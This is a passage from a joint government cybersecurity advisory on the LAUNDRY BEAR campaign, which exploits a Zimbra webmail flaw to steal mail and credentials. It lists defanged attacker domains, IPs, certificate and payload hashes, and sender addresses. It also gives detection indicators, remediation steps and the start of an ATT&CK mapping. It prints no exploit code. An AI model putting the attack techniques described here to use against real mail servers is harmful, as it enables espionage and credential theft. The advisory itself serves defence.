<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
